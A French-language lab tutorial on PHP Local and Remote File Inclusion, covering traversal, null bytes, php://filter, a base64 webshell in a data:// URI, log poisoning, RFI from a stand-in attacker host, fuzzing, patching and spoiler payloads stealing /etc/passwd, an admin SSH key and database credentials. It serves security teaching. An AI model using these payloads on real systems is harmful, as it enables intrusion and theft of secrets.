← RETOUR AU TERMINAL
MODULE: FILE_SYSTEM_ACCESS

LFI_MASTERY_V1

01 // LOCAL FILE INCLUSION

La **Local File Inclusion (LFI)** est une vulnérabilité critique qui survient lorsqu'une application web permet à un utilisateur de manipuler le chemin d'un fichier qui sera inclus et exécuté par le serveur.

Mécanisme Interne

En PHP, des fonctions comme include(), require(), include_once() ou file_get_contents() sont souvent utilisées pour construire des pages dynamiques.

// Exemple de code vulnérable (index.php)
$page = $_GET['page']; // L'utilisateur contrôle cette variable
include($page . '.php'); // Le serveur exécute ce fichier

Si l'attaquant envoie ?page=admin, le serveur inclut admin.php. C'est le comportement attendu.
Mais si l'attaquant envoie ?page=/etc/passwd, le serveur tente d'inclure le fichier système des mots de passe. C'est une LFI.

Impact

02 // DIRECTORY TRAVERSAL

Souvent, le développeur préfixe le chemin pour forcer un dossier (ex: include('pages/' . $file);).
Pour sortir de cette prison (Jailbreak), on utilise la séquence ../.

La Logique du Path Traversal

Chemin construit par le serveur : pages/../../../../etc/passwd

Le système de fichier résout cela ainsi :

  1. pages/ : On entre dans pages.
  2. ../ : On remonte (retour à la racine web).
  3. ../ : On remonte (dans /var/www).
  4. ../ : On remonte (dans /var).
  5. ../ : On remonte (dans /).
  6. etc/passwd : On descend dans le dossier cible.
NULL BYTE INJECTION (%00)
Sur les vieux systèmes (PHP < 5.3.4), si le code ajoute une extension (.php), on peut l'annuler avec un Null Byte.
URL : ?page=../../etc/passwd%00
Serveur : include('../../etc/passwd\0.php');
Résultat : Le système s'arrête au Null Byte et lit /etc/passwd.

03 // ADVANCED TECHNIQUE: WRAPPERS

PHP possède des flux d'E/S avancés (Wrappers) qui transforment une simple lecture de fichier en arme de guerre.

A. php://filter (Source Code Disclosure)

Par défaut, si vous incluez config.php, le code PHP est exécuté et vous ne voyez rien (page blanche). Pour voir le CODE SOURCE (et les mots de passe), on utilise un filtre d'encodage.

?page=php://filter/convert.base64-encode/resource=config

Le serveur renvoie une chaîne Base64 qu'il suffit de décoder pour lire le code source brut.

B. data:// (Remote Code Execution)

Si allow_url_include est activé, on peut injecter du code PHP directement dans l'URL.

?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+&cmd=ls

Ici, on injecte un webshell encodé en base64. Le serveur l'exécute immédiatement.

C. Log Poisoning (RCE without Upload)

Si on ne peut rien uploader, on infecte les logs du serveur.

  1. Envoyer une requête HTTP avec un User-Agent malveillant : <?php system($_GET['c']); ?>
  2. Ce code est sauvegardé dans /var/log/apache2/access.log.
  3. Via la LFI, on inclut le log : ?page=../../var/log/apache2/access.log&c=ls
  4. Le log est exécuté comme un script PHP. Boum, RCE.

04 // REMOTE FILE INCLUSION (RFI)

La RFI est la cousine de la LFI, mais en pire. Au lieu d'inclure un fichier local, le serveur inclut un fichier distant hébergé par l'attaquant.

?page=http://evil-hacker.com/reverse-shell.txt

Conditions Requises

Pour que cela fonctionne, la configuration php.ini doit être permissive :

POURQUOI C'EST DANGEREUX ?
L'attaquant n'a pas besoin de bypasser les filtres d'upload ou de chercher des logs. Il héberge son propre script malveillant (qui contient <?php system(...) ?>) et force le serveur victime à le télécharger et l'exécuter instantanément.

05 // AUTOMATION & FUZZING

Tester manuellement ../../ est fastidieux. Les professionnels utilisent des outils pour "fuzzer" les paramètres.

Wordlists (SecLists)

Le projet SecLists contient des milliers de variantes de payloads LFI.

Outils de Fuzzing

Wfuzz ou FFuF permettent de tester des milliers de combinaisons par seconde.

ffuf -u http://target.com/index.php?page=FUZZ -w /path/to/LFI-payloads.txt

Burp Intruder

Intercept la requête, envoie-la dans Intruder, définit la position du payload sur le nom du fichier, et lance l'attaque avec une wordlist "Path Traversal".

06 // IMMUNITY PROTOCOLS (PATCHING)

1. Liste Blanche (The Golden Standard)

Ne jamais, jamais laisser l'utilisateur définir directement un chemin. Utilisez une map (switch/case ou array).

$pages = [
  'home' => 'home.php',
  'login' => 'login.php'
];
$file = $pages[$_GET['page']] ?? 'home.php';
include($file);

2. Nettoyage (Sanitization)

Si vous devez être dynamique, forcez le nom de fichier et empêchez la navigation dans les dossiers.

$page = basename($_GET['page']); // Supprime les paths (../)
// "dir/../../passwd" devient "passwd"
include('pages/' . $page);

3. Configuration PHP.ini

Durcissez la configuration du serveur :

07 // MISSION SOLUTIONS (SPOILERS)

Ne regardez cette section que si vous êtes bloqué. Copiez-collez les payloads dans l'URL du labo.

MISSION 1: VOLER LISTE UTILISATEURS

Récupérer le fichier /etc/passwd.

?page=../../../../etc/passwd

MISSION 2: VOLER CLE SSH (ADMIN)

Récupérer la clé privée de l'admin pour se connecter au serveur.

?page=../../../../home/admin/.ssh/id_rsa

MISSION 3: VOLER CONFIGURATION BDD

Récupérer les mots de passe de la base de données.

?page=../../../var/www/html/config.php

Note: Dans ce labo simulé, on lit le fichier. En vrai PHP, il faudrait utiliser php://filter.